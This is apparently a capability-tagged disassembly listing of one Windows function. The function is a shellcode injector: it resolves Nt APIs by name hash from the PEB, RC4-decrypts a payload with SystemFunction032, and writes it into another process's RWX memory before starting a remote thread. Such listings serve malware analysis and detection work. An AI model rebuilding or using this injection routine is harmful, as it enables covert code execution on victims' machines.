Function at 0x1400012e0
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 via systemfunction032

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rcx, qword [rdx + 8]
xor r13d, r13d
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x49], r13
mov qword [rbp - 0x51], r13
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, qword gs:[0x60]
mov r12d, eax
mov r15, qword [rcx + 0x18]
add r15, 0x20
mov rsi, qword [r15]
mov r14, rsi
cmp word [rsi + 0x48], r13w
je 0x1400013cb
mov rdi, qword [rsi + 0x50]
lea rcx, str.Test:__s_n
mov rdx, rdi
call fcn.140001010
mov rcx, rdi
mov ebx, r13d
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdx, eax
mov rcx, r13
test eax, eax
je 0x14000139b
nop word [rax + rax]
movzx eax, word [rdi + rcx*2]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x140001380
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul ebx, ecx, 0x8001
lea rcx, str.0x_08x_n
mov edx, ebx
call fcn.140001070
cmp ebx, 0x82acbbb8
je 0x1400014a1
mov rsi, qword [r14]
mov r14, rsi
cmp r14, r15
jne 0x140001345
mov rdi, r13
xorps xmm0, xmm0
mov dword [rbp - 0x11], 0x30
lea rax, [0x140005198]
mov qword [rbp - 9], r13
lea rsi, [0x140005080]
mov qword [rbp - 0x39], rax
lea rcx, str.Advapi32.dll
mov qword [rbp - 0x29], rsi
movups xmmword [rbp - 1], xmm0
mov qword [rbp - 0x21], r12
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp - 0x19], r13
mov qword [rbp + 0x1f], 0x116
mov dword [rbp - 0x41], 0xf
mov dword [rbp - 0x3d], 0xf
mov dword [rbp - 0x31], 0x116
mov dword [rbp - 0x2d], 0x116
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x140001460
lea rcx, str.FAIL
call fcn.140001070
mov rdx, rbx
lea rcx, str.0x_p_n
call fcn.140001070
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 0x31]
call rbx
test eax, eax
je 0x1400014aa
mov edx, eax
lea rcx, str.____Failed_With_Code:_0x_0.08
call fcn.140001070
lea rcx, str.Failed_Encrypting
call fcn.140001070
mov eax, 1
jmp 0x14000166a
mov rdi, qword [rsi + 0x20]
jmp 0x1400013d7
mov edx, 0x616bcd2b
mov rcx, rdi
call fcn.1400010d0
mov rdx, rax
lea rcx, str._NtOpenProcess__n___________0x_p_n
mov rbx, rax
call fcn.140001070
lea r9, [rbp - 0x21]
mov edx, 0x1fffff
lea r8, [rbp - 0x11]
lea rcx, [rbp - 0x59]
call rbx
test eax, eax
je 0x1400014f6
lea rcx, str.Failed_Getting_Handle
call fcn.140001070
mov eax, 1
jmp 0x14000166a
mov rdx, qword [rbp - 0x59]
lea rcx, str.Got_Handle_n____________0x_p_n_n
call fcn.140001070
mov edx, 0xb4983c2f
mov rcx, rdi
call fcn.1400010d0
mov rdx, rax
lea rcx, str._NtAllocate__n____0x_p_n
mov rbx, rax
call fcn.140001070
mov rcx, qword [rbp - 0x59]
lea r9, [rbp + 0x1f]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea rdx, [rbp - 0x51]
mov dword [rsp + 0x20], 0x3000
call rbx
test eax, eax
je 0x140001560
lea rcx, str.Failed_Allocating_a_Buffer
call fcn.140001070
mov eax, 1
jmp 0x14000166a
mov rdx, qword [rbp - 0x51]
lea rcx, str.Allocate_a_Buffer_n_________0x_p_n_n
call fcn.140001070
mov edx, 0x92a7f011
mov rcx, rdi
call fcn.1400010d0
mov rdx, rax
lea rcx, str._NtWrite__n_________0x_p_n
mov rbx, rax
call fcn.140001070
mov r9, qword [rbp + 0x1f]
mov r8, rsi
mov rdx, qword [rbp - 0x51]
mov rcx, qword [rbp - 0x59]
mov qword [rsp + 0x20], r13
call rbx
test eax, eax
je 0x1400015bf
lea rcx, str.Failed_Writing_Into_Buffer_n
call fcn.140001070
mov eax, 1
jmp 0x14000166a
mov rdx, qword [rbp + 0x1f]
lea rcx, str.SuccesFully_Wrote_Into__d_Bytes_Into_Buffer_n_n
call fcn.140001070
mov edx, 0x3c2d6449
mov rcx, rdi
call fcn.1400010d0
mov rdx, rax
lea rcx, str._NtThread__n________0x_p_n
mov rbx, rax
call fcn.140001070
mov rcx, qword [rbp - 0x51]
lea r8, [rbp - 0x11]
mov r9, qword [rbp - 0x59]
mov edx, 0x1fffff
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x49]
call rbx
test eax, eax
je 0x14000163f
lea rcx, str.Failed_With_Thread
call fcn.140001070
mov eax, 1
jmp 0x14000166a
mov rdx, qword [rbp - 0x49]
lea rcx, str.Started_Thread_n_______0x_p_n
call fcn.140001070
mov rcx, qword [rbp - 0x49]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400016b0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret